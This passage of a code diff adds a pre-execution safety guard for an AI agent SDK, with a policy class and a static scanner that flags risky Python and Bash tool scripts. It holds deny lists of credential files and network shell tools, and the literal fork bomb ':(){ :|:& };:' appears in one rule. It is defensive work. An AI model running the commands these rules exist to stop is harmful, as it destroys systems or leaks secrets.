trpc_agent_sdk.filter import BaseFilter +from trpc_agent_sdk.filter import FilterHandleType +from trpc_agent_sdk.filter import FilterResult +from trpc_agent_sdk.filter import register_tool_filter +from trpc_agent_sdk.tools._context_var import get_tool_var + +from ._audit import ToolSafetyAuditLogger +from ._policy import ToolSafetyPolicy +from ._scanner import ToolSafetyScanner +from ._scanner import normalize_language +from ._telemetry import apply_tool_safety_span_attributes +from ._types import SafetyDecision +from ._types import ToolSafetyReport +from ._types import ToolSafetyScanRequest + + +class ToolSafetyBlockedError(PermissionError): + """Raised when a script is blocked by the safety guard.""" + + def __init__(self, report: ToolSafetyReport): + self.report = report + super().__init__(report.summary) + + +@dataclass +class ToolSafetyGuard: + """Reusable pre-execution safety guard.""" + + policy: ToolSafetyPolicy | None = None + scanner: ToolSafetyScanner | None = None + audit_log_path: str | Path | None = None + apply_telemetry: bool = True + + def __post_init__(self) -> None: + if self.policy is None: + self.policy = ToolSafetyPolicy() + if self.scanner is None: + self.scanner = ToolSafetyScanner(self.policy) + if self.audit_log_path is None and self.policy.audit_log_path: + self.audit_log_path = self.policy.audit_log_path + + def scan(self, request: ToolSafetyScanRequest) -> ToolSafetyReport: + """Scan a request, emit audit/telemetry, and return the report.""" + report = self.scanner.scan(request) # type: ignore[union-attr] + self._emit(report) + return report + + def check(self, request: ToolSafetyScanRequest) -> ToolSafetyReport: + """Scan and raise if policy says the script must not proceed.""" + report = self.scan(request) + if self.should_block(report): + raise ToolSafetyBlockedError(report) + return report + + async def run_if_allowed( + self, + request: ToolSafetyScanRequest, + runner: Callable[[], Awaitable[Any]], + ) -> Any: + """Run an async callback only when the scan permits execution.""" + self.check(request) + return await runner() + + def should_block(self, report: ToolSafetyReport) -> bool: + """Return whether a report should block execution.""" + if report.decision == SafetyDecision.DENY: + return True + if report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW and self.policy and self.policy.block_on_review: + return True + return False + + def _emit(self, report: ToolSafetyReport) -> None: + if self.apply_telemetry: + apply_tool_safety_span_attributes(report) + if self.audit_log_path: + ToolSafetyAuditLogger(self.audit_log_path).write(report, blocked=self.should_block(report)) + + +class SafetyGuardedCodeExecutor(BaseCodeExecutor): + """Wrapper that scans code blocks before delegating to another executor.""" + + delegate: BaseCodeExecutor + guard: ToolSafetyGuard + + def __init__(self, *, delegate: BaseCodeExecutor, guard: ToolSafetyGuard | None = None, **data: Any): + super().__init__(delegate=delegate, guard=guard or ToolSafetyGuard(), **data) + + async def execute_code( + self, + invocation_context: InvocationContext, + code_execution_input: CodeExecutionInput, + ) -> CodeExecutionResult: + """Scan every code block before delegating to the wrapped executor.""" + blocks = code_execution_input.code_blocks + if not blocks and code_execution_input.code: + blocks = [] + for block in blocks: + request = ToolSafetyScanRequest( + script=block.code, + language=block.language, + cwd=self._work_dir(), + tool_metadata={"name": "CodeExecutor", "executor": self.delegate.__class__.__name__}, + ) + try: + self.guard.check(request) + except ToolSafetyBlockedError as exc: + return create_code_execution_result(stderr=f"Tool safety guard blocked code execution: {exc.report.to_json(indent=None)}") + if code_execution_input.code and not code_execution_input.code_blocks: + request = ToolSafetyScanRequest( + script=code_execution_input.code, + language="python", + cwd=self._work_dir(), + tool_metadata={"name": "CodeExecutor", "executor": self.delegate.__class__.__name__}, + ) + try: + self.guard.check(request) + except ToolSafetyBlockedError as exc: + return create_code_execution_result(stderr=f"Tool safety guard blocked code execution: {exc.report.to_json(indent=None)}") + return await self.delegate.execute_code(invocation_context, code_execution_input) + + def _work_dir(self) -> str | None: + return getattr(self.delegate, "work_dir", None) + + +@register_tool_filter("tool_safety_guard") +class ToolSafetyFilter(BaseFilter): + """Tool Filter that scans script-like tool arguments before execution.""" + + def __init__(self, guard: ToolSafetyGuard | None = None, policy_path: str | Path | None = None): + super().__init__() + if guard is not None: + self.guard = guard + elif policy_path is not None: + self.guard = ToolSafetyGuard(policy=ToolSafetyPolicy.load(policy_path)) + else: + self.guard = ToolSafetyGuard() + + async def run(self, ctx: AgentContext, req: Any, handle: FilterHandleType) -> FilterResult: + extracted = extract_script_from_tool_args(req) + if extracted is None: + result = await handle() + return result if isinstance(result, FilterResult) else FilterResult(rsp=result) + + script, language, cwd, command_args = extracted + tool = get_tool_var() + tool_name = getattr(tool, "name", "") if tool else "" + request = ToolSafetyScanRequest( + script=script, + language=language, + command_args=command_args, + cwd=cwd, + env={}, + tool_metadata={"name": tool_name}, + ) + report = self.guard.scan(request) + if self.guard.should_block(report): + return FilterResult( + rsp={ + "success": False, + "error": "TOOL_SAFETY_GUARD_BLOCKED", + "safety_report": report.to_dict(), + }, + is_continue=False, + ) + result = await handle() + return result if isinstance(result, FilterResult) else FilterResult(rsp=result) + + +def extract_script_from_tool_args(args: Any) -> tuple[str, str, str | None, list[str]] | None: + """Extract a script payload from common tool argument shapes.""" + if not isinstance(args, Mapping): + return None + + cwd = str(args["cwd"]) if args.get("cwd") else None + if "command" in args and args.get("command"): + command = str(args["command"]) + return command, "bash", cwd, command_to_args(command) + + for key in ("script", "code", "source"): + if key in args and args.get(key): + language = str(args.get("language") or args.get("lang") or infer_language_from_key(key, str(args[key]))) + return str(args[key]), normalize_language(language), cwd, [] + + if "code_blocks" in args and isinstance(args["code_blocks"], list) and args["code_blocks"]: + first = args["code_blocks"][0] + if isinstance(first, Mapping) and first.get("code"): + return ( + str(first["code"]), + normalize_language(str(first.get("language") or "python")), + cwd, + [], + ) + return None + + +def command_to_args(command: str) -> list[str]: + """Best-effort command split for report context.""" + try: + return list(__import__("shlex").split(command)) + except ValueError: + return command.split() + + +def infer_language_from_key(key: str, script: str) -> str: + """Infer script language when a tool only supplies generic code text.""" + if key == "script" and script.lstrip().startswith(("#!/bin/bash", "#!/usr/bin/env bash")): + return "bash" + if key == "script" and any(token in script for token in ("#!/bin/sh", "set -e", "fi\n", "done\n")): + return "bash" + return "python" diff --git a/trpc_agent_sdk/tools/safety/_policy.py b/trpc_agent_sdk/tools/safety/_policy.py new file mode 100644 index 00000000..3a798a41 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_policy.py @@ -0,0 +1,182 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Configurable policy for the tool script safety guard.""" + +from __future__ import annotations + +from dataclasses import dataclass +from dataclasses import field +from pathlib import Path +from typing import Any + +import yaml + + +DEFAULT_ALLOWED_COMMANDS = [ + "awk", + "cat", + "echo", + "find", + "git", + "grep", + "head", + "ls", + "pytest", + "python", + "python3", + "pwd", + "sed", + "tail", + "wc", +] + +DEFAULT_DENIED_PATHS = [ + "~/.ssh", + ".env", + ".aws/credentials", + ".config/gcloud", + "/etc/shadow", + "/etc/sudoers", + "id_rsa", + "id_dsa", + "id_ed25519", + "credentials", +] + +DEFAULT_SYSTEM_WRITE_PATHS = [ + "/", + "/bin", + "/boot", + "/dev", + "/etc", + "/lib", + "/lib64", + "/proc", + "/root", + "/sbin", + "/sys", + "/usr", + "/var", +] + + +@dataclass +class ToolSafetyPolicy: + """Runtime policy for script scanning and pre-execution blocking.""" + + name: str = "default" + version: str = "1" + allowed_domains: list[str] = field(default_factory=list) + allowed_commands: list[str] = field(default_factory=lambda: list(DEFAULT_ALLOWED_COMMANDS)) + denied_paths: list[str] = field(default_factory=lambda: list(DEFAULT_DENIED_PATHS)) + system_write_paths: list[str] = field(default_factory=lambda: list(DEFAULT_SYSTEM_WRITE_PATHS)) + max_timeout_seconds: int = 300 + max_output_bytes: int = 2_000_000 + max_sleep_seconds: int = 300 + max_loop_iterations: int = 1_000_000 + max_literal_write_bytes: int = 10_000_000 + max_parallel_tasks: int = 128 + deny_risk_level: str = "high" + review_risk_level: str = "medium" + block_on_review: bool = True + redact_secrets: bool = True + audit_log_path: str | None = None + metadata: dict[str, Any] = field(default_factory=dict) + + @classmethod + def from_mapping(cls, data: dict[str, Any] | None) -> "ToolSafetyPolicy": + """Build a policy from a YAML-style mapping.""" + data = dict(data or {}) + policy_data = data.pop("policy", None) + if isinstance(policy_data, dict): + data = {**policy_data, **data} + + known_fields = {field.name for field in cls.__dataclass_fields__.values()} # type: ignore[attr-defined] + init_data = {key: value for key, value in data.items() if key in known_fields} + metadata = {key: value for key, value in data.items() if key not in known_fields} + if metadata: + init_data["metadata"] = metadata + return cls(**init_data) + + @classmethod + def load(cls, path: str | Path | None) -> "ToolSafetyPolicy": + """Load a policy from YAML, or return defaults when path is not set.""" + if path is None: + return cls() + with Path(path).open("r", encoding="utf-8") as file: + data = yaml.safe_load(file) or {} + if not isinstance(data, dict): + raise ValueError("tool safety policy must be a YAML mapping") + policy = cls.from_mapping(data) + if policy.audit_log_path: + policy.audit_log_path = str(Path(policy.audit_log_path)) + return policy + + def is_domain_allowed(self, host: str | None) -> bool: + """Return whether a host is allowed by policy.""" + if not host: + return False + normalized_host = host.lower().rstrip(".") + for domain in self.allowed_domains: + allowed = str(domain).lower().rstrip(".") + if not allowed: + continue + if allowed.startswith("*."): + suffix = allowed[2:] + if normalized_host == suffix or normalized_host.endswith(f".{suffix}"): + return True + elif normalized_host == allowed or normalized_host.endswith(f".{allowed}"): + return True + return False + + def is_command_allowed(self, command: str | None) -> bool: + """Return whether a command executable is allowed.""" + if not command: + return False + base = Path(str(command).strip().split()[0]).name.lower() + return base in {item.lower() for item in self.allowed_commands} + + def is_denied_path(self, value: str | None) -> bool: + """Return whether a path-like value matches a denied path pattern.""" + if not value: + return False + normalized = self._normalize_path_text(value) + for pattern in self.denied_paths: + normalized_pattern = self._normalize_path_text(str(pattern)) + if not normalized_pattern: + continue + if normalized_pattern == ".env": + if normalized.endswith("/.env") or normalized == ".env" or "/.env." in normalized: + return True + elif normalized_pattern in normalized: + return True + return False + + def is_system_write_path(self, value: str | None) -> bool: + """Return whether a path-like value targets a protected system path.""" + if not value: + return False + normalized = self._normalize_path_text(value) + for pattern in self.system_write_paths: + normalized_pattern = self._normalize_path_text(str(pattern)).rstrip("/") + if not normalized_pattern: + continue + if normalized_pattern == "/": + if normalized in {"/", "/*", "/."}: + return True + elif normalized == normalized_pattern or normalized.startswith(f"{normalized_pattern}/"): + return True + return False + + @staticmethod + def _normalize_path_text(value: str) -> str: + """Normalize a path-like string for simple policy matching.""" + return str(value).strip().strip("'\"").replace("\\", "/").lower() + + +def load_tool_safety_policy(path: str | Path | None = None) -> ToolSafetyPolicy: + """Load a tool safety policy from YAML.""" + return ToolSafetyPolicy.load(path) diff --git a/trpc_agent_sdk/tools/safety/_scanner.py b/trpc_agent_sdk/tools/safety/_scanner.py new file mode 100644 index 00000000..ccd7fb9b --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_scanner.py @@ -0,0 +1,1039 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Static scanner for Python and Bash tool scripts.""" + +from __future__ import annotations + +import ast +import re +import shlex +import time +from datetime import datetime +from datetime import timezone +from pathlib import Path +from typing import Iterable +from typing import Sequence +from urllib.parse import urlparse + +from ._policy import ToolSafetyPolicy +from ._types import SafetyDecision +from ._types import SafetyRiskLevel +from ._types import ToolSafetyFinding +from ._types import ToolSafetyReport +from ._types import ToolSafetyScanRequest +from ._types import max_risk_level +from ._types import risk_level_value + + +SECRET_VALUE_RE = re.compile( + r"(?i)(api[_-]?key|access[_-]?token|secret|password|private[_-]?key|authorization)\s*[:=]\s*" + r"['\"]?([A-Za-z0-9_./+=:-]{12,})" +) +URL_RE = re.compile(r"(?i)\bhttps?://[^\s'\"<>)]+" ) +ENV_VAR_RE = re.compile(r"\$(?:\{)?([A-Za-z_][A-Za-z0-9_]*)") +SHELL_CONTROL_RE = re.compile(r"(\|\||&&|;|\||`|\$\(|>|<)") +FORK_BOMB_RE = re.compile(r":\s*\(\s*\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;\s*:") + +NETWORK_COMMANDS = {"curl", "wget", "nc", "netcat", "ssh", "scp", "rsync", "ftp"} +INSTALL_COMMANDS = { + "apt", + "apt-get", + "brew", + "conda", + "easy_install", + "gem", + "npm", + "pip", + "pip3", + "pnpm", + "poetry", + "uv", + "yarn", +} +DANGEROUS_SHELL_COMMANDS = { + "chmod", + "chown", + "dd", + "kill", + "killall", + "mkfs", + "mount", + "reboot", + "service", + "shutdown", + "sudo", + "su", + "systemctl", +} +SECRET_ENV_NAMES = { + "API_KEY", + "ACCESS_TOKEN", + "AUTHORIZATION", + "GITHUB_TOKEN", + "OPENAI_API_KEY", + "PASSWORD", + "PRIVATE_KEY", + "SECRET", + "TOKEN", +} +SENSITIVE_SINK_NAMES = {"print", "logging.info", "logging.warning", "logging.error", "logger.info", "logger.warning", + "logger.error", "sys.stdout.write", "sys.stderr.write"} +NETWORK_PY_MODULES = {"requests", "aiohttp", "httpx", "urllib", "socket", "websocket"} +SUBPROCESS_CALLS = {"subprocess.run", "subprocess.call", "subprocess.Popen", "subprocess.check_call", + "subprocess.check_output", "os.system", "os.popen", "pty.spawn"} +FILE_OPEN_CALLS = {"open", "Path.open", "pathlib.Path.open"} +DANGEROUS_FILE_CALLS = {"os.remove", "os.unlink", "os.rmdir", "shutil.rmtree", "Path.unlink", "Path.rmdir", + "pathlib.Path.unlink", "pathlib.Path.rmdir"} +INSTALL_PY_MODULES = {"pip", "ensurepip"} + + +class ToolSafetyScanner: + """Policy-driven static scanner for tool scripts.""" + + def __init__(self, policy: ToolSafetyPolicy | None = None): + self.policy = policy or ToolSafetyPolicy() + + def scan(self, request: ToolSafetyScanRequest) -> ToolSafetyReport: + """Scan a script and return a structured report.""" + started = time.perf_counter() + findings: list[ToolSafetyFinding] = [] + language = normalize_language(request.language) + script = request.script or "" + + if language == "python": + findings.extend(self._scan_python(script)) + elif language == "bash": + findings.extend(self._scan_bash(script)) + else: + findings.append( + finding( + "TSG-LANG-UNKNOWN", + "unknown_language", + SafetyRiskLevel.MEDIUM, + f"Unsupported script language: {request.language}", + request.language, + "Require a human review or add a language-specific scanner before execution.", + )) + + findings.extend(self._scan_common_text(script)) + findings.extend(self._scan_command_args(request.command_args)) + findings.extend(self._scan_env(request.env)) + + findings = dedupe_findings(findings) + decision = self._decide(findings) + duration_ms = (time.perf_counter() - started) * 1000 + risk_level = max_risk_level([item.risk_level for item in findings]) + redacted = any(item.redacted for item in findings) + rule_ids = [item.rule_id for item in findings] + primary_rule_id = primary_rule(findings) + blocked = decision == SafetyDecision.DENY or ( + decision == SafetyDecision.NEEDS_HUMAN_REVIEW and self.policy.block_on_review) + report = ToolSafetyReport( + decision=decision, + risk_level=risk_level, + findings=findings, + duration_ms=duration_ms, + language=language, + scanned_at=datetime.now(timezone.utc).isoformat(), + tool_name=request.tool_name, + cwd=request.cwd, + policy_name=self.policy.name, + policy_version=self.policy.version, + blocked=blocked, + redacted=redacted, + summary=build_summary(decision, risk_level, findings), + telemetry_attributes={ + "tool.safety.decision": decision.value, + "tool.safety.risk_level": risk_level.value, + "tool.safety.rule_id": primary_rule_id, + "tool.safety.rule_ids": ",".join(rule_ids), + "tool.safety.finding_count": len(findings), + "tool.safety.redacted": redacted, + "tool.safety.blocked": blocked, + "tool.safety.duration_ms": duration_ms, + }, + ) + return report + + def _decide(self, findings: Sequence[ToolSafetyFinding]) -> SafetyDecision: + if not findings: + return SafetyDecision.ALLOW + max_level = max(risk_level_value(item.risk_level) for item in findings) + if max_level >= risk_level_value(self.policy.deny_risk_level): + return SafetyDecision.DENY + if max_level >= risk_level_value(self.policy.review_risk_level): + return SafetyDecision.NEEDS_HUMAN_REVIEW + return SafetyDecision.ALLOW + + def _scan_common_text(self, script: str) -> list[ToolSafetyFinding]: + findings: list[ToolSafetyFinding] = [] + for match in SECRET_VALUE_RE.finditer(script): + line_no = line_number(script, match.start()) + findings.append( + finding( + "TSG-SECRETS-LITERAL", + "sensitive_information_leak", + SafetyRiskLevel.HIGH, + "Script contains a literal secret-like value.", + redact_secret(match.group(0)), + "Move secrets to a managed secret store and avoid printing or embedding them in scripts.", + line_no=line_no, + redacted=True, + )) + if FORK_BOMB_RE.search(script): + findings.append( + finding( + "TSG-RESOURCE-FORK-BOMB", + "resource_abuse", + SafetyRiskLevel.CRITICAL, + "Script contains a shell fork bomb pattern.", + ":(){ :|:& };:", + "Reject the script and investigate the tool input source.", + )) + return findings + + def _scan_command_args(self, command_args: Sequence[str]) -> list[ToolSafetyFinding]: + findings: list[ToolSafetyFinding] = [] + if not command_args: + return findings + command = " ".join(str(arg) for arg in command_args) + findings.extend(self._scan_bash(command, from_args=True)) + return findings + + def _scan_env(self, env: object) -> list[ToolSafetyFinding]: + findings: list[ToolSafetyFinding] = [] + if not isinstance(env, dict): + return findings + for key, value in env.items(): + key_text = str(key) + if is_secret_name(key_text) and value: + findings.append( + finding( + "TSG-SECRETS-ENV", + "sensitive_information_leak", + SafetyRiskLevel.MEDIUM, + f"Environment variable {key_text} appears to contain a secret.", + f"{key_text}=", + "Pass only the minimum required environment to tools and redact secrets in audit logs.", + redacted=True, + )) + return findings + + def _scan_python(self, script: str) -> list[ToolSafetyFinding]: + findings: list[ToolSafetyFinding] = [] + try: + tree = ast.parse(script) + except SyntaxError as exc: + return [ + finding( + "TSG-PY-SYNTAX", + "parse_error", + SafetyRiskLevel.MEDIUM, + "Python script could not be parsed for static analysis.", + exc.text.strip() if exc.text else str(exc), + "Require human review or fix syntax before execution.", + line_no=exc.lineno, + ) + ] + + annotate_parents(tree) + analyzer = _PythonAnalyzer(script, self.policy) + analyzer.visit(tree) + findings.extend(analyzer.findings) + return findings + + def _scan_bash(self, script: str, *, from_args: bool = False) -> list[ToolSafetyFinding]: + findings: list[ToolSafetyFinding] = [] + for line_no, raw_line in enumerate(script.splitlines() or [script], start=1): + line = raw_line.strip() + if not line or line.startswith("#"): + continue + findings.extend(self._scan_bash_line(line, line_no, from_args=from_args)) + return findings + + def _scan_bash_line(self, line: str, line_no: int, *, from_args: bool = False) -> list[ToolSafetyFinding]: + findings: list[ToolSafetyFinding] = [] + try: + tokens = shlex.split(line, posix=True) + except ValueError: + tokens = line.split() + + if not tokens: + return findings + + if SHELL_CONTROL_RE.search(line): + findings.append( + finding( + "TSG-SHELL-CONTROL", + "process_command", + SafetyRiskLevel.MEDIUM, + "Shell control operators can hide chained commands or injection payloads.", + line, + "Split commands into explicit argument lists or require human review for shell metacharacters.", + line_no=line_no, + )) + + if re.search(r"\bwhile\s+true\b|\bwhile\s+:\b|\bfor\s+\(\s*;\s*;\s*\)", line): + findings.append( + finding( + "TSG-RESOURCE-INFINITE-LOOP", + "resource_abuse", + SafetyRiskLevel.HIGH, + "Bash script contains an apparent infinite loop.", + line, + "Add bounded iteration and enforce runtime limits before execution.", + line_no=line_no, + )) + + if re.search(r"\bsleep\s+(\d+)", line): + seconds = int(re.search(r"\bsleep\s+(\d+)", line).group(1)) # type: ignore[union-attr] + if seconds > self.policy.max_sleep_seconds: + findings.append( + finding( + "TSG-RESOURCE-LONG-SLEEP", + "resource_abuse", + SafetyRiskLevel.MEDIUM, + f"Sleep duration {seconds}s exceeds policy limit.", + line, + "Use shorter sleeps and rely on executor timeout controls.", + line_no=line_no, + )) + + for url in URL_RE.findall(line): + host = urlparse(url).hostname or "" + if not self.policy.is_domain_allowed(host): + findings.append( + finding( + "TSG-NETWORK-NONALLOWLIST", + "network_egress", + SafetyRiskLevel.HIGH, + f"Network request targets non-allowlisted domain {host}.", + url, + "Add the domain to allowed_domains only after review, or block the request.", + line_no=line_no, + )) + + commands = split_shell_commands(tokens) + for command_tokens in commands: + if not command_tokens: + continue + command = Path(command_tokens[0]).name.lower() + evidence = " ".join(command_tokens) + if command in {"bash", "sh"} and any(token in {"-c", "-lc"} for token in command_tokens): + nested_script = command_tokens[-1] + nested_findings = self._scan_bash(nested_script, from_args=from_args) + for item in nested_findings: + item.line_no = line_no + findings.append(item) + if command in NETWORK_COMMANDS and not line_has_allowlisted_url(line, self.policy): + findings.append( + finding( + "TSG-NETWORK-COMMAND", + "network_egress", + SafetyRiskLevel.HIGH, + f"Command {command} can open outbound network connections.", + evidence, + "Restrict network tools to allowlisted domains or use a reviewed fetch tool.", + line_no=line_no, + )) + if command in INSTALL_COMMANDS and is_install_invocation(command_tokens): + findings.append( + finding( + "TSG-DEPENDENCY-INSTALL", + "dependency_install", + SafetyRiskLevel.HIGH, + f"Command {command} may install dependencies or modify the runtime.", + evidence, + "Prebuild dependencies in a trusted image or require human review.", + line_no=line_no, + )) + if command in DANGEROUS_SHELL_COMMANDS: + findings.append( + finding( + "TSG-SHELL-DANGEROUS-COMMAND", + "process_command", + SafetyRiskLevel.HIGH, + f"Command {command} can alter system state or privileges.", + evidence, + "Deny privileged/system commands unless executed in a locked-down sandbox.", + line_no=line_no, + )) + if command == "rm" and is_recursive_delete(command_tokens): + risk = SafetyRiskLevel.CRITICAL if targets_system_or_denied_path(command_tokens, self.policy) else SafetyRiskLevel.HIGH + findings.append( + finding( + "TSG-FILE-RECURSIVE-DELETE", + "dangerous_file_operation", + risk, + "Recursive delete command detected.", + evidence, + "Reject destructive recursive deletion or restrict it to disposable workspace paths.", + line_no=line_no, + )) + if any(self.policy.is_denied_path(token) for token in command_tokens): + findings.append( + finding( + "TSG-FILE-DENIED-PATH", + "dangerous_file_operation", + SafetyRiskLevel.HIGH, + "Command references a denied sensitive path.", + evidence, + "Remove access to credential paths such as .env, ~/.ssh, and cloud credential files.", + line_no=line_no, + )) + if command in {"cat", "grep", "awk", "sed", "tail", "head"} and any( + self.policy.is_denied_path(token) for token in command_tokens[1:]): + findings.append( + finding( + "TSG-SECRETS-READ", + "sensitive_information_leak", + SafetyRiskLevel.HIGH, + "Command appears to read a secret or credential file.", + evidence, + "Block direct reads of secrets and use a secret manager interface instead.", + line_no=line_no, + )) + if command in {"dd", "truncate", "fallocate"}: + findings.append( + finding( + "TSG-RESOURCE-LARGE-WRITE", + "resource_abuse", + SafetyRiskLevel.MEDIUM, + "Command can create very large files.", + evidence, + "Set disk quotas and require review for bulk writes.", + line_no=line_no, + )) + + for env_name in ENV_VAR_RE.findall(line): + if is_secret_name(env_name) and re.search(r"\b(echo|printf|curl|wget|tee)\b", line): + findings.append( + finding( + "TSG-SECRETS-SINK", + "sensitive_information_leak", + SafetyRiskLevel.HIGH, + f"Sensitive environment variable {env_name} is sent to output or network sink.", + redact_secret(line), + "Do not print or transmit secret environment variables.", + line_no=line_no, + redacted=True, + )) + + if from_args and not self.policy.is_command_allowed(tokens[0]): + findings.append( + finding( + "TSG-COMMAND-NOTALLOWED", + "process_command", + SafetyRiskLevel.MEDIUM, + f"Command {tokens[0]} is not in the policy allowed_commands list.", + line, + "Add the command to allowed_commands after review or deny the tool invocation.", + line_no=line_no, + )) + + return findings + + +class _PythonAnalyzer(ast.NodeVisitor): + """AST-based analyzer for Python scripts.""" + + def __init__(self, script: str, policy: ToolSafetyPolicy): + self.script = script + self.policy = policy + self.findings: list[ToolSafetyFinding] = [] + self.imports: dict[str, str] = {} + self.secret_names: set[str] = set() + self.opened_paths: dict[str, str] = {} + + def visit_Import(self, node: ast.Import) -> None: # noqa: N802 + for alias in node.names: + self.imports[alias.asname or alias.name.split(".")[0]] = alias.name + if alias.name.split(".")[0] in NETWORK_PY_MODULES: + self.add( + "TSG-NETWORK-IMPORT", + "network_egress", + SafetyRiskLevel.LOW, + f"Python imports network-capable module {alias.name}.", + self.segment(node), + "Review imported network modules when calls use dynamic or non-allowlisted targets.", + node, + ) + if alias.name.split(".")[0] in INSTALL_PY_MODULES: + self.add( + "TSG-DEPENDENCY-INSTALL-API", + "dependency_install", + SafetyRiskLevel.MEDIUM, + f"Python imports dependency installer module {alias.name}.", + self.segment(node), + "Avoid runtime dependency installation in tool scripts.", + node, + ) + self.generic_visit(node) + + def visit_ImportFrom(self, node: ast.ImportFrom) -> None: # noqa: N802 + module = node.module or "" + for alias in node.names: + local = alias.asname or alias.name + self.imports[local] = f"{module}.{alias.name}" if module else alias.name + if module.split(".")[0] in NETWORK_PY_MODULES: + self.add( + "TSG-NETWORK-IMPORT", + "network_egress", + SafetyRiskLevel.LOW, + f"Python imports network-capable module {module}.", + self.segment(node), + "Review imported network modules when calls use dynamic or non-allowlisted targets.", + node, + ) + self.generic_visit(node) + + def visit_Assign(self, node: ast.Assign) -> None: # noqa: N802 + value_text = self.constant_string(node.value) + for target in node.targets: + target_name = self.name_of(target) + if target_name and is_secret_name(target_name): + self.secret_names.add(target_name) + if value_text: + self.add( + "TSG-SECRETS-LITERAL", + "sensitive_information_leak", + SafetyRiskLevel.HIGH, + f"Variable {target_name} appears to store a literal secret.", + redact_secret(self.segment(node)), + "Do not embed secrets in scripts; fetch them through approved secret APIs.", + node, + redacted=True, + ) + self.generic_visit(node) + + def visit_For(self, node: ast.For) -> None: # noqa: N802 + if isinstance(node.iter, ast.Call) and self.call_name(node.iter.func) == "range": + count = self.range_count(node.iter) + if count is not None and count > self.policy.max_loop_iterations: + self.add( + "TSG-RESOURCE-LARGE-LOOP", + "resource_abuse", + SafetyRiskLevel.MEDIUM, + f"Loop iteration count {count} exceeds policy limit.", + self.segment(node), + "Bound loop sizes and enforce executor CPU timeouts.", + node, + ) + self.generic_visit(node) + + def visit_While(self, node: ast.While) -> None: # noqa: N802 + if isinstance(node.test, ast.Constant) and node.test.value is True: + self.add( + "TSG-RESOURCE-INFINITE-LOOP", + "resource_abuse", + SafetyRiskLevel.HIGH, + "Python script contains while True.", + self.segment(node), + "Add a bounded exit condition and enforce runtime limits.", + node, + ) + self.generic_visit(node) + + def visit_Call(self, node: ast.Call) -> None: # noqa: N802 + call_name = self.call_name(node.func) + if not call_name: + self.generic_visit(node) + return + + if call_name in SUBPROCESS_CALLS: + self.handle_process_call(node, call_name) + elif call_name in DANGEROUS_FILE_CALLS: + self.handle_dangerous_file_call(node, call_name) + elif call_name in FILE_OPEN_CALLS: + self.handle_open_call(node, call_name) + elif any(call_name.startswith(f"{module}.") for module in NETWORK_PY_MODULES): + self.handle_network_call(node, call_name) + elif call_name in {"time.sleep", "asyncio.sleep"}: + self.handle_sleep_call(node, call_name) + elif call_name in SENSITIVE_SINK_NAMES: + self.handle_sensitive_sink(node, call_name) + elif call_name in {"os.fork", "multiprocessing.Process", "concurrent.futures.ProcessPoolExecutor"}: + self.add( + "TSG-RESOURCE-PROCESS-FANOUT", + "resource_abuse", + SafetyRiskLevel.MEDIUM, + f"{call_name} can spawn additional processes.", + self.segment(node), + "Limit process fan-out and run inside a sandbox with process limits.", + node, + ) + elif call_name.endswith(".read_text") or call_name.endswith(".read_bytes"): + self.handle_path_read(node, call_name) + elif call_name.endswith(".write_text") or call_name.endswith(".write_bytes"): + self.handle_path_write(node, call_name) + + self.generic_visit(node) + + def handle_process_call(self, node: ast.Call, call_name: str) -> None: + first_arg = node.args[0] if node.args else None + command_text = self.constant_string(first_arg) if first_arg else "" + shell_true = keyword_bool(node, "shell") + risk = SafetyRiskLevel.HIGH if shell_true else SafetyRiskLevel.MEDIUM + self.add( + "TSG-PROCESS-SUBPROCESS", + "process_command", + risk, + f"{call_name} executes an external command.", + self.segment(node), + "Prefer reviewed tool APIs over subprocess calls; require review for shell=True.", + node, + ) + if shell_true or (command_text and SHELL_CONTROL_RE.search(command_text)): + self.add( + "TSG-SHELL-INJECTION", + "process_command", + SafetyRiskLevel.HIGH, + "Subprocess call uses shell execution or shell metacharacters.", + self.segment(node), + "Use create_subprocess_exec/list arguments and validate every argument.", + node, + ) + if command_text: + scanner = ToolSafetyScanner(self.policy) + for item in scanner._scan_bash(command_text, from_args=True): # pylint: disable=protected-access + item.line_no = node.lineno + self.findings.append(item) + + def handle_dangerous_file_call(self, node: ast.Call, call_name: str) -> None: + path_text = self.constant_string(node.args[0]) if node.args else "" + risk = SafetyRiskLevel.CRITICAL if self.policy.is_system_write_path(path_text) else SafetyRiskLevel.HIGH + self.add( + "TSG-FILE-DANGEROUS-OP", + "dangerous_file_operation", + risk, + f"{call_name} can delete files or directories.", + self.segment(node), + "Reject destructive file operations unless scoped to a disposable workspace.", + node, + ) + if path_text and self.policy.is_denied_path(path_text): + self.add_denied_path(node, path_text) + + def handle_open_call(self, node: ast.Call, call_name: str) -> None: + path_text = self.constant_string(node.args[0]) if node.args else "" + mode = "r" + if len(node.args) > 1: + mode = self.constant_string(node.args[1]) or mode + for kw in node.keywords: + if kw.arg == "mode": + mode = self.constant_string(kw.value) or mode + if path_text and self.policy.is_denied_path(path_text): + risk_type = "sensitive_information_leak" if "r" in mode and not any(flag in mode for flag in "wa+") else "dangerous_file_operation" + self.add( + "TSG-FILE-DENIED-PATH", + risk_type, + SafetyRiskLevel.HIGH, + "Python file access references a denied sensitive path.", + self.segment(node), + "Remove direct access to credential paths such as .env, ~/.ssh, and cloud credential files.", + node, + ) + if path_text and any(flag in mode for flag in "wa+"): + risk = SafetyRiskLevel.CRITICAL if self.policy.is_system_write_path(path_text) else SafetyRiskLevel.MEDIUM + if risk == SafetyRiskLevel.CRITICAL: + self.add( + "TSG-FILE-SYSTEM-WRITE", + "dangerous_file_operation", + risk, + "Python file write targets a protected system path.", + self.segment(node), + "Block writes outside the configured workspace.", + node, + ) + parent = getattr(node, "parent_assign_target", None) + if parent and path_text: + self.opened_paths[parent] = path_text + + def handle_path_write(self, node: ast.Call, call_name: str) -> None: + path_text = self.path_literal_from_node(getattr(node.func, "value", None)) + if path_text and self.policy.is_system_write_path(path_text): + self.add( + "TSG-FILE-SYSTEM-WRITE", + "dangerous_file_operation", + SafetyRiskLevel.CRITICAL, + "Path write targets a protected system path.", + self.segment(node), + "Block writes outside the configured workspace.", + node, + ) + 